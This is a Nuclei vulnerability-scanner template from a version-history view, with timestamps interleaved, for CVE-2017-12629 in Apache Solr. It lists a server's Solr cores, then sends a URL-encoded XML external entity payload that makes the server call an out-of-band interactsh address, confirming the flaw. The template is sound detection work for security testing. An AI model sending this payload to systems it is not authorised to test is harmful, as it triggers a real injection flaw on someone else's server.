nuclei-templates/cves/2017/CVE-2017-12629.yaml

36 lines
1.1 KiB
YAML
Raw Normal View History

2020-08-28 03:46:31 +00:00
id: CVE-2017-12629
info:
2021-08-09 15:25:06 +00:00
name: Apache Solr <= 7.1 XML entity injection
2020-08-28 03:46:31 +00:00
author: dwisiswant0
severity: critical
2021-08-09 15:25:06 +00:00
tags: cve,cve2017,solr,apache,oob,xxe
reference:
2021-04-27 11:07:02 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-12629
2021-08-09 15:25:06 +00:00
- https://twitter.com/honoki/status/1298636315613974532
- https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE
- https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE
2020-08-28 03:46:31 +00:00
requests:
2021-04-27 11:25:09 +00:00
- raw:
- |
2021-08-09 15:25:06 +00:00
GET /solr/admin/cores?wt=json HTTP/1.1
2021-04-27 11:25:09 +00:00
Host: {{Hostname}}
- |
2021-08-09 15:25:06 +00:00
GET /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F{{interactsh-url}}%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
2021-04-27 11:25:09 +00:00
Host: {{Hostname}}
2021-04-27 11:07:02 +00:00
2020-08-28 03:46:31 +00:00
matchers:
- type: word
2021-08-09 15:25:06 +00:00
part: interactsh_protocol # Confirms the HTTP Interaction
2020-08-28 03:46:31 +00:00
words:
2021-08-09 15:25:06 +00:00
- "http"
extractors:
- type: regex
internal: true
name: core
group: 1
regex:
- '"name"\:"(.*?)"'